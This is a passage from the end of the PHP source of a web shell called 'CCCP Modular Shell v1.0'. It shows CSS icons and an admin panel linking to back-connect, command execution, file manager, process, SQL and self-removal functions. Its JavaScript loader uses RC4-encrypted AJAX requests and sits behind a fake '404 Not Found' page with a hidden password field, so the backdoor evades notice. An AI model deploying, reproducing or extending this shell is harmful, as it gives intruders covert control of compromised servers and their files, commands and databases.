2345 cursor:pointer;
2346 display:block;
2347 float:left;
2348 margin-right:3px;
2349 }
2350
2351 div.paginator {
2352 text-align:center;
2353 padding: 7px;
2354 margin: 3px;
2355 }
2356
2357 div.paginator a {
2358 padding: 2px 5px 2px 5px;
2359 margin: 2px;
2360 border: 1px solid #000;
2361 text-decoration: none;
2362 }
2363
2364 div.paginator a:hover, div.paginator a:active {
2365 border: 1px solid #000;
2366 background-color:#000;
2367 color: #fff;
2368 }
2369
2370 div.paginator span.current {
2371 padding: 2px 5px 2px 5px;
2372 margin: 2px;
2373 border: 1px solid #000;
2374 font-weight: bold;
2375 background-color: #000;
2376 color: #fff;
2377 }
2378
2379 div.paginator span.disabled {
2380 padding: 2px 5px 2px 5px;
2381 margin: 2px;
2382 border: 1px solid #eee;
2383 color: #ddd;
2384 } .asp{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAOBAMAAADUAYG5AAAAHlBMVEX29/fX09Pk4+PKlJPAODWUBgXftbTAW1iuDw3ReXeTvAtzAAAAV0lEQVR4AWPAA1JcwMCJYUanR6dJp2UbQ4WDxbRiR8dihlLLDLd0p0nODBVqmiVFhSXBDOWpZYXJbqHBDFNDQ0NbQ0PDGISNwcCIQQkKGBQFIYABSosBAKxPGDO5nrSTAAAAAElFTkSuQmCC") no-repeat;}
2385 .avi{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAElBMVEVMaXH////AwMCAgIAAAAD/AACxZc2lAAAAAXRSTlMAQObYZgAAAFRJREFUeF5FzMERwCAIRNFtgRICFGAiuUfd/msKyej4T++wAKBmBdkpIrZwlAlyQhxloVoeSXVE124jHA+p1tyBS9UYiVv7aEwEySa+/2zkOvvAvxdlbRDkNPgrwgAAAABJRU5ErkJggg==") no-repeat;}
2386 .cgi{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXH/2zL06Jebagh4d3WxiDBNS0rcsBxqIGFJAAAAAXRSTlMAQObYZgAAAGtJREFUeAFjAAJmBigwNoAyDKEM5sBgFAazsXFhsbExA4ORkpKgkJKSCYO5kKCgkGCpCQNLuKCgkmiaAwODS6GgUlgKUDWLopBimANIm6C4YhmEERYkGgBkGJWmuKqHABmmQB2hIAaLCxgDALfSD/3zyHbnAAAAAElFTkSuQmCC") no-repeat;}
2387 .cmd{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXH///+AgIAAAADAwMAAAICAgAD//wBP2DYPAAAAAXRSTlMAQObYZgAAAENJREFUeAFjgAMlKGBQcQEDZQaVUDCAMISFhYEMiBIgQxAMwIw0QyjDPBnCECtSToSImBRDpYRBahC6lGDmGEMB3BUAQQYRh0ILDgoAAAAASUVORK5CYII=") no-repeat;}
2388 .copy{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXHr8ffC4f6v1PF7nrqOwutWbYw/SVvnK+2gAAAAAXRSTlMAQObYZgAAAFtJREFUeAFjgANm4xAXBzBDUFAwDMwQUgaJgRjGEDFWoWAhJcXQBAYWMEMQxAgVUlI2BDFChJSMDQvADGUUBpugiZCxaSBQJC0FwmAAigkKCgMZQLH08vIEuCsAm2MSZ1K+LZgAAAAASUVORK5CYII=") no-repeat;}
2389 .cpp{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAElBMVEVMaXH///8AAIDAwMCAgIAAAACRQaxqAAAAAXRSTlMAQObYZgAAAEVJREFUeAFjYHEBAgcGBgYWQSAwgTEMHKCM0FAoQ9AUxFBSFFQEMYQUlYSUoAyYCFANXAShBqELYQ6CYQwCQAZrKBgwAACCmg2Bo41i4wAAAABJRU5ErkJggg==") no-repeat;}
2390 .del{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEWeAgKfHx7NlZXCf36mSUm3YGDQAADTnp94I1VJAAAABnRSTlP+8AJGi/pSC0zeAAAAcUlEQVR4Xi2J0QnCQBBERyJ+qwkW8PYK8A4swANiAXLk10DYCrz+XYIPGN7MiFTAKuL1hscXpaUXW3rVs7UxtzYpX3YmmXaquCs4IuwcUv9yKIh8cvcB2c2DT1GOjG3Q7L5FWZXca9yjmDfIKyJVsCs/V0YYHsrbmCoAAAAASUVORK5CYII=") no-repeat;}
2391 .dir{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAAQBAMAAAAG6llRAAAAGFBMVEVMaXH//5zOzmOcnAAAAAD//87/zpz39/cJIMBEAAAAAXRSTlMAQObYZgAAAEtJREFUeAFjIAyYjY0doEzzUEETqKCSkpKysbEBiBkKAoEqIGagIBCIwZmJiXCmGFw0ESEqBhMFCaaBmWFiQABhKoEBiMngAgEMDABNLxCJtl4npgAAAABJRU5ErkJggg==") no-repeat;}
2392 .doc{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAElBMVEVMaXEAAP/////AwMAAAACAgIDs+4PxAAAAAXRSTlMAQObYZgAAAFxJREFUeF4ljcENgDAMA/1hgdIFEjpB2wFI1AEQgv1XwQn3Op1kGdhecoGi5AFqoPcJZxBd6y+jT5ibmFJKqW12ipuZhJQ69zayiIsqC+dZLGDJi4MlhYSMIGQlH9rmFP/olcG8AAAAAElFTkSuQmCC") no-repeat;}
2393 .download{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXHy+PxRf7vD3Pdyotucv+mOxGHP8pZRJPvxAAAAAXRSTlMAQObYZgAAAGlJREFUeAE1yTESQUEQhOEuxQH68UiZ3T0AQ85WuwAcQCIXub7ZxR991Q1Mb4oAzBgdjsCZrX3DllyMQJp7YNfhPqyBjUumjjSSl4Yy/EGydkiqmJyuP2R9r0yW5fMRy93T6v0KmFmW2Qe9LBLI5TPE4QAAAABJRU5ErkJggg==") no-repeat;}
2394 .edit{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXHM4vlAesHy9fTu0HO/jEje0bNiuvgtn6IlAAAAAXRSTlMAQObYZgAAAGVJREFUeAElzcENgCAMQNHGDRoTuBI2MBIdQOCsEXQA6wQeWN+2/NNLm7QAXgKAYeasY0yIuJS9g55XYXLuoJB0ZbaYnIBCvAQmxzQKiOKhOGtFwVrS3T4BD1BgGyfgg/yWv3oNfvxKFuu6ZIarAAAAAElFTkSuQmCC") no-repeat;}
2395 .exe{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAAOBAMAAAA/Njq6AAAAElBMVEVMaXGEhITGxsb///8AAAAAAL3QMzG6AAAAAXRSTlMAQObYZgAAADdJREFUeAFjYBSEAAEGBkYlMFB0ADJVQ0EgEMoMdnZ2BDEVIWpBTGVjEDCkDlMQbi6LCwQ4MAAAGdsU7SMxZ3cAAAAASUVORK5CYII=") no-repeat;}
2396 .htaccess{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAFVBMVEVMaXH/AAD/AP8AAIAAAACAAID//wAh7q3vAAAAAXRSTlMAQObYZgAAAEhJREFUeAFjSAtggIC0QCiDNVQAyhJRhDKEjAQhDEZnRQEIQwUmJGQMFRJUdhKEyCGEVIwUIUJKzkYwIWMGqKoQByhLwIUBBgAzAQdHwl34ZQAAAABJRU5ErkJggg==") no-repeat;}
2397 .html{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAAQBAMAAAAG6llRAAAAGFBMVEVMaXFIXpDA1vuEuNwumeJzc3P2+/9fl8ofnhI8AAAAAXRSTlMAQObYZgAAAHtJREFUeF41yr0Kg0AQhdGB/FhfY0idTbB3N6xtBgZsbfIEytZBwXn9uLPkqw6XS0Rh70tWTCnpnw9fv4296oxbVrWGYUr3cac+RbbCrYsyGKtJVLjNPL8YgPHQsXets4NI3bDxODfSX8oaGfBGWpfgXSEBVwDG0yc30g+Tqhs347zYeAAAAABJRU5ErkJggg==") no-repeat;}
2398 .info{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXHW4/Gcuty90upmkL57o87x9fo/cKp6YdxCAAAAAXRSTlMAQObYZgAAAGxJREFUeAFjQAbGxhDaUFBQCEQzCyopCSqABEQVhYJBQoKhaWmhQFVMQqHCZiaKAQxMoiHOaSqBDkCGi5uIi6MDA6uQCxAARRiMQ9xSXIyAuhxNnFSczIEMFuMQV+MCkNFFgoLqEMvKy5GdAAAtjxBWRk6H0AAAAABJRU5ErkJggg==") no-repeat;}
2399 .ini{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAFVBMVEVMaXH////AwMAAAACAgICAgAD//wBJC4D8AAAAAXRSTlMAQObYZgAAAERJREFUeAFjYGAWBgIGIDB0BAIDBgYWYTAAMgRBQBmFYWxojC5iDBMRCoKKqKYaQkTCzALRRISDUbUrgQCQwWAMAgYMAE/+DM0VyVW8AAAAAElFTkSuQmCC") no-repeat;}
2400 .jpg{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXETCgDAwMCAgID///+AgAD/AAAA/wCvPqjdAAAAAXRSTlMAQObYZgAAAF9JREFUeAE1yMENAiAMRuGOwG+I3Em4G2QBavVenICLK7C+bY3v9OXR3SNriAjf/njQDkxcDc/WlD+JBgP62mSnHLVhp5w3kh/UfomTAY6TRQO81g8TQEAsR6+eAVGiL7noFeTJktBqAAAAAElFTkSuQmCC") no-repeat;}
2401 .js{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAElBMVEX////AwMCAgIAAAAD//wCAgAA6+FsGAAAAWklEQVR4XlWLyw3AIAxDA2oHQFkgfAZAZAGqTsAh+69SYk716Vl+pnJSSWizEG+IczJAbI2+IdLkDLhN1ScocJqt/n+VagFyGP1xkLddmGKq6ciq6vecEPaOfCLwDtcqFA/EAAAAAElFTkSuQmCC") no-repeat;}
2402 .lnk{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXFmzzYmnRNLuigJZAUAAgCI71YEPgJXrsCKAAAAAXRSTlMAQObYZgAAAGRJREFUeF4lzLEKgDAMRdEMFedQ7W6LOItgZ8HuRQjuKv5B/9+8mulwE0K0YxIReR9mThlYuBMAQbBa2CKQBh4rmPVGMVh2V0Xc3hsI5fgxyekeoEi79oBk4wrQkIl4qDQ1oCF8s2QTzGgZmRgAAAAASUVORK5CYII=") no-repeat;}
2403 .log{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXHAwMAAAAD///+AgIAAALWAgAD//wD7+LBgAAAAAXRSTlMAQObYZgAAAFxJREFUeF41jMsJgEAMRIcFC/DiOYxsAf5yly1BbECELcD+wWSN7/SYgQeIAyCtxmxSRkc6lMWY5AzJB/beyVssjEuZv6tebIs+tzSpSvg1kAJfaEH8ZUTQJNEBXtl7FF5T+NYtAAAAAElFTkSuQmCC") no-repeat;}
2404 .mp3{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAFVBMVEVMaXH////AwMCAgIAAAACAgAD//wAFULzlAAAAAXRSTlMAQObYZgAAAGdJREFUeAE1ykEKAjEUA9AgzgFC5wKjg2tj1X2hPcAH7Qm8/xlMi2aTR/4HkJ2rGyJ5/mMb0yOTtQJLtCB34J2KkrHEZ5OMuKxuoz/Xoqwdx+bTfL73Ig0c2iuS4amSE+IPt5MzUGe+vOoRl1gyM5QAAAAASUVORK5CYII=") no-repeat;}
2405 .php{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEXt7u20pbN1PXqqna3h3+CiY5iji5/Cn72aaulJAAAAB3RSTlP+C/jy9vd9m8nrNgAAAGNJREFUeF41zMEJwCAMheF36AK5dAChOIDiuZRMIATP0tIBKpL1m4r9L/kg8EAXM1ciEKz0I9SJliYWnoCdVUc3RLpIEUH2sRU9NjivUfVxhhx8d4YZ1jCqIN6/RTKMDGewEr0JfRdojfORagAAAABJRU5ErkJggg==") no-repeat;}
2406 .pl{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAFVBMVEVLS/WWlrdzc7O7u/L39/0vLzB1dXfIyLy8AAAAbUlEQVR4XkXLQQ4CIQyF4RfxAjWVteIFUAxryfQEmrKfCHP/I0jJJP6rL3l5oD2wSH6KFHC694+Bat+qwa+lKtvkt6xNHmDRs7ZSccHsgFuMA24ARwdnWF7JJQMQsWNO/xcvun69vkEUAp3C9QcQsBJpjnPQBwAAAABJRU5ErkJggg==") no-repeat;}
2407 .py{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAASBAMAAACgFUNZAAAAFVBMVEXU1dBJSUmIiIhMaXH39/ZJf6z12mal68qMAAAABHRSTlPwbJkA1LtzKgAAAGFJREFUeF49yrsNhEAMRdGHZBMjoAFowQ04sIg38cYTTf8l8MwIbnT8wXo+HdhFgjl2BwbCM6UgqvkruOaAJtGIZP/+AYW59wJHVs8vnJcGIq7CRDjhGxHOhRXIzbCATWY3y8IfVW0lgwUAAAAASUVORK5CYII=") no-repeat;}
2408 .rename{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAHlBMVEXP2unl6/NogqS8x9Y/R1L5+/2GlKecqLgrMTpabYUCMXjvAAAACXRSTlP99gP+rv7d/ScbTgzOAAAAdElEQVR4AWNQUmY2NmZrUgIyBBgYRDOgDNYQKINBpAnKCAExBIEAxGiHSiUXGwOBeQlDomBooGhoYAhD4vTk9OLUMBGGxInlCQHTw1gYEmeWTisvL2MBShVODE7MZGFImFg8LT1RTASoS1CAEWgiQ4sLBAAAQBEfQdjw2gUAAAAASUVORK5CYII=") no-repeat;}
2409 .swf{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUBAMAAAB/pwA+AAAAGFBMVEVMaXEAAAD/////RBylAAD8z5/njpP/tgDJs8ZAAAAAAXRSTlMAQObYZgAAAGpJREFUeAFjwAEYBcEAzFQCAUUoM1zJSCkAwlQPMgo2ADGBrFJTU4gC1fJ04wCoWrUiVWNjCDPFSdkYIqriFuIC1aYSlJLsZAxV66LmxgxiKgqpuCmZQNQKhiQpqYCZimIgR6A4B+FIHAAAPKISiDRgUyIAAAAASUVORK5CYII=") no-repeat;}
2410 .tar{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXE7QAUXAAAAUW/l6ey8lKGJBVFVz9lgkT8gAAAAAXRSTlMAQObYZgAAAFJJREFUeAFjEIQAAYbQ0MQ0IEhicHFJcQkNDQ0CMlJhIoJKIMCgBAEKQMXGYACUMnEvLy8vBjJMYSKCYAayYogdQCkRkOJCIEMUpMQQpBgM4IoBaBkbvmcdFLkAAAAASUVORK5CYII=") no-repeat;}
2411 .txt{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAAQBAMAAAAG6llRAAAAD1BMVEVMaXH///8AAADHx8eFhYXIFtsVAAAAAXRSTlMAQObYZgAAADVJREFUeAFjYGACAwYQUHQEAQUgi0UIAkBMQTAwQmcqKSopYRFVolQUwTQGAxCTQQkMgC4DAOb7DCz7id5MAAAAAElFTkSuQmCC") no-repeat;}
2412 .unk{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXGFptrR5PxfaHnx9/60zPMlTqR1iLk29K4nAAAAAXRSTlMAQObYZgAAAFtJREFUeAFjYBAEAgEGIBBxcXERNIAxxMEM1yClcAMgwzUtLUkVxHBLD08DM8KSlCAMJyVFMENISaksFcwACgSFAhlFSmqJqhCGqmgoTASVUQiyvhzIYDYGAQMAJZwXv2puTlMAAAAASUVORK5CYII=") no-repeat;}
2413 .xml{background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFBMVEVMaXH6+vqGhoYAAAAsap6Kyu8AAJYzmQAtPsCtAAAAAXRSTlMAQObYZgAAAE9JREFUeAFjUAIDBgYGRUEgEFWAMYSgDGFjAwZFUUEXR1FBICNMRDRMLNCAQTVRJLRMMBUsEp4GFAGpSUsEqxEEARBDxAUI8IogGMYQYAAA5l8SSFIGd4wAAAAASUVORK5CYII=") no-repeat;}
2414
2415 </style>
2416 </head>
2417 <body>
2418 <center>
2419 <table style="border-collapse: collapse" height="1" cellspacing="0" cellpadding="5" width="100%" bgcolor="#333333" border="1" bordercolor="#C0C0C0">
2420 <tr>
2421 <th width="100%" height="15" nowrap="nowrap" bordercolor="#C0C0C0" valign="top" colspan="2">
2422 <p><font face="Verdana" size="5"><b>CCCP Modular Shell</b></font></p>
2423 </th>
2424 </tr>
2425 <tr>
2426 <td>
2427 <p align="left"><b>Software: ' . $_SERVER['SERVER_SOFTWARE'] . '</b></p>
2428 <p align="left"><b>uname -a: ' . php_uname() . '</b></p>
2429 <p align="left"><b>Safe-mode: ' . getcfg('safe_mode') . '</b></p>
2430 <br><center><a href=\'#\' onclick=\'ajaxLoad("me=connect");return false;\' ><b>Back Connect</b></a> | <a href=\'#\' onclick=\'ajaxLoad("me=execute");return false;\' ><b>Execute</b></a> | <a href=\'#\' onclick=\'ajaxLoad("me=filemanager");return false;\' ><b>File Manager</b></a> | <a href=\'#\' onclick=\'ajaxLoad("me=info");return false;\' ><b>Info</b></a> | <a href=\'#\' onclick=\'ajaxLoad("me=process");return false;\' ><b>Process</b></a> | <a href=\'#\' onclick=\'ajaxLoad("me=selfremove");return false;\' ><b>Self Remove</b></a> | <a href=\'#\' onclick=\'ajaxLoad("me=sql");return false;\' ><b>SQL</b></a> | <a href=\'#\' onclick=\'if (confirm("Are you sure?")) {sessionStorage.clear();hash="";d.getElementsByTagName("html")[0].innerHTML="";};return false;\' ><b>Logout</b></a></center>
2431 </td>
2432 </tr>
2433 <tr>
2434 <td id="content" width="100%"></td>
2435 </tr>
2436 </table>
2437
2438 --[ <a href="http://indetectables.net" target="_blank">CCCP Modular Shell v1.0 by DSR!</a> <b>|</b> Generation time: <span id="uetime">0.00</span> ]--
2439 </center>
2440 </body>
2441 </html>';
2442
2443 sAjax($loader);
2444}
2445}
2446
2447#Se fini
2448if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest')
2449 sAjax($sBuff . mHide('etime', substr((microtime(true) - $loadTime), 0, 4)));
2450 //sAjax($sBuff . mHide('etime', substr((microtime(true) - $loadTime), 0, 4) . ' Mem Peak: ' . sizecount(memory_get_peak_usage(false)) . ' Men: ' . sizecount(memory_get_usage(false))) );
2451?>
2452<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
2453<html><head>
2454<title>404 Not Found</title>
2455<script type="text/javascript">
2456 function rc4Init(key){j=0;box=[];keylength=key.length;for(i=0;i<256;i++){box[i]=i}for(i=0;i<256;i++){j=(j+box[i]+key.charCodeAt(i%keylength))%256;tmp=box[i];box[i]=box[j];box[j]=tmp}return box}function rc4(data,box){i=0;j=0;res='';datalength=data.length;for(y=0;y<datalength;y++){i=(i+1)%256;j=(j+box[i])%256;tmp=box[i];box[i]=box[j];box[j]=tmp;res+=String.fromCharCode(data.charCodeAt(y)^box[(box[i]+box[j])%256])}return res}function add32(a,b){return(a+b)&0xFFFFFFFF}function cmn(q,a,b,x,s,t){a=add32(add32(a,q),add32(x,t));return add32((a<<s)|(a>>>(32-s)),b)}function ff(a,b,c,d,x,s,t){return cmn((b&c)|((~b)&d),a,b,x,s,t)}function gg(a,b,c,d,x,s,t){return cmn((b&d)|(c&(~d)),a,b,x,s,t)}function hh(a,b,c,d,x,s,t){return cmn(b^c^d,a,b,x,s,t)}function ii(a,b,c,d,x,s,t){return cmn(c^(b|(~d)),a,b,x,s,t)}function md5cycle(x,k){a=x[0];b=x[1];c=x[2];d=x[3];a=ff(a,b,c,d,k[0],7,-680876936);d=ff(d,a,b,c,k[1],12,-389564586);c=ff(c,d,a,b,k[2],17,606105819);b=ff(b,c,d,a,k[3],22,-1044525330);a=ff(a,b,c,d,k[4],7,-176418897);d=ff(d,a,b,c,k[5],12,1200080426);c=ff(c,d,a,b,k[6],17,-1473231341);b=ff(b,c,d,a,k[7],22,-45705983);a=ff(a,b,c,d,k[8],7,1770035416);d=ff(d,a,b,c,k[9],12,-1958414417);c=ff(c,d,a,b,k[10],17,-42063);b=ff(b,c,d,a,k[11],22,-1990404162);a=ff(a,b,c,d,k[12],7,1804603682);d=ff(d,a,b,c,k[13],12,-40341101);c=ff(c,d,a,b,k[14],17,-1502002290);b=ff(b,c,d,a,k[15],22,1236535329);a=gg(a,b,c,d,k[1],5,-165796510);d=gg(d,a,b,c,k[6],9,-1069501632);c=gg(c,d,a,b,k[11],14,643717713);b=gg(b,c,d,a,k[0],20,-373897302);a=gg(a,b,c,d,k[5],5,-701558691);d=gg(d,a,b,c,k[10],9,38016083);c=gg(c,d,a,b,k[15],14,-660478335);b=gg(b,c,d,a,k[4],20,-405537848);a=gg(a,b,c,d,k[9],5,568446438);d=gg(d,a,b,c,k[14],9,-1019803690);c=gg(c,d,a,b,k[3],14,-187363961);b=gg(b,c,d,a,k[8],20,1163531501);a=gg(a,b,c,d,k[13],5,-1444681467);d=gg(d,a,b,c,k[2],9,-51403784);c=gg(c,d,a,b,k[7],14,1735328473);b=gg(b,c,d,a,k[12],20,-1926607734);a=hh(a,b,c,d,k[5],4,-378558);d=hh(d,a,b,c,k[8],11,-2022574463);c=hh(c,d,a,b,k[11],16,1839030562);b=hh(b,c,d,a,k[14],23,-35309556);a=hh(a,b,c,d,k[1],4,-1530992060);d=hh(d,a,b,c,k[4],11,1272893353);c=hh(c,d,a,b,k[7],16,-155497632);b=hh(b,c,d,a,k[10],23,-1094730640);a=hh(a,b,c,d,k[13],4,681279174);d=hh(d,a,b,c,k[0],11,-358537222);c=hh(c,d,a,b,k[3],16,-722521979);b=hh(b,c,d,a,k[6],23,76029189);a=hh(a,b,c,d,k[9],4,-640364487);d=hh(d,a,b,c,k[12],11,-421815835);c=hh(c,d,a,b,k[15],16,530742520);b=hh(b,c,d,a,k[2],23,-995338651);a=ii(a,b,c,d,k[0],6,-198630844);d=ii(d,a,b,c,k[7],10,1126891415);c=ii(c,d,a,b,k[14],15,-1416354905);b=ii(b,c,d,a,k[5],21,-57434055);a=ii(a,b,c,d,k[12],6,1700485571);d=ii(d,a,b,c,k[3],10,-1894986606);c=ii(c,d,a,b,k[10],15,-1051523);b=ii(b,c,d,a,k[1],21,-2054922799);a=ii(a,b,c,d,k[8],6,1873313359);d=ii(d,a,b,c,k[15],10,-30611744);c=ii(c,d,a,b,k[6],15,-1560198380);b=ii(b,c,d,a,k[13],21,1309151649);a=ii(a,b,c,d,k[4],6,-145523070);d=ii(d,a,b,c,k[11],10,-1120210379);c=ii(c,d,a,b,k[2],15,718787259);b=ii(b,c,d,a,k[9],21,-343485551);x[0]=add32(a,x[0]);x[1]=add32(b,x[1]);x[2]=add32(c,x[2]);x[3]=add32(d,x[3])}function md5(s){txt='';n=s.length;state=[1732584193,-271733879,-1732584194,271733878];for(i=64;i<=s.length;i+=64){md5cycle(state,md5blk(s.substring(i-64,i)))}s=s.substring(i-64);tail=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(i=0;i<s.length;i++)tail[i>>2]|=s.charCodeAt(i)<<((i%4)<<3);tail[i>>2]|=0x80<<((i%4)<<3);if(i>55){md5cycle(state,tail);for(i=0;i<16;i++)tail[i]=0}tail[14]=n*8;md5cycle(state,tail);return hex(state)}function md5blk(s){md5blks=[];for(i=0;i<64;i+=4)md5blks[i>>2]=s.charCodeAt(i)+(s.charCodeAt(i+1)<<8)+(s.charCodeAt(i+2)<<16)+(s.charCodeAt(i+3)<<24);return md5blks}function hex(x){hex_chr='0123456789abcdef'.split('');for(i=0;i<x.length;i++){s='';for(j=0;j<4;j++)s+=hex_chr[(x[i]>>(j*8+4))&0x0F]+hex_chr[(x[i]>>(j*8))&0x0F];x[i]=s}return x.join('')}function randStr(l){s="";while(s.length<l)s+=Math.random().toString(36).slice(2);return s.substr(0,l)}
2457<?php
2458 $loader = "
2459 var d = document;
2460 ajax = new XMLHttpRequest();
2461 ajax.onreadystatechange = function() {
2462 if (ajax.readyState == 4 && ajax.status == 200) {
2463 d.getElementsByTagName('html')[0].innerHTML = rc4(atob(ajax.responseText), rc4Init(hash)).substr({$config['rc4drop']});
2464 oldscript = d.getElementsByTagName('head')[0].getElementsByTagName('script')[0];
2465 fixscript = d.createElement('script');
2466 fixscript.type = 'text/javascript';
2467 fixscript.innerHTML = 'var hash = \"' + hash + '\";' + oldscript.innerHTML;
2468 d.head.appendChild(fixscript);
2469 oldscript.parentNode.removeChild(oldscript);
2470 }
2471 }
2472
2473 if (sessionStorage.getItem('{$config['consNames']['slogin']}') != null)
2474 var hash = sessionStorage.getItem('{$config['consNames']['slogin']}');
2475 else {
2476 var hash = md5(d.getElementById('pss').value);
2477 sessionStorage.setItem('{$config['consNames']['slogin']}', hash);
2478 }
2479
2480 post = '{$config['consNames']['post']}=' + encodeURIComponent(btoa(rc4(randStr({$config['rc4drop']}) + 'me=loader" . (isset($p['dir']) ? "&dir=" . rawurlencode($p['dir']) : "") . "', rc4Init(hash))));
2481 ajax.open('POST', '" . getSelf() . "', true);
2482 ajax.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
2483 ajax.setRequestHeader('Content-Length', post.length);
2484 ajax.setRequestHeader('Connection', 'close');
2485 ajax.send(post);
2486 ";
2487
2488 echo "
2489 function load(hash){
2490 loader = '" . base64_encode(rc4($loader, rc4Init($config['sPass']))) . "';
2491 eval(rc4(atob(loader), rc4Init(hash)));
2492 }
2493
2494 if (sessionStorage.getItem('{$config['consNames']['slogin']}') != null) {
2495 load(sessionStorage.getItem('{$config['consNames']['slogin']}'));
2496 }
2497 ";
2498?>
2499</script>
2500</head><body>
2501<h1>Not Found</h1>
2502<p>The requested URL <?php echo $_SERVER['HTTP_HOST']; ?> was not found on this server.</p>
2503</body>
2504<style>input{ margin:0;background-color:#fff;border:1px solid #fff; }</style>
2505<center><form onsubmit="load(md5(document.getElementById('pss').value));return false;"><input type="password" id="pss"></form>
2506</html>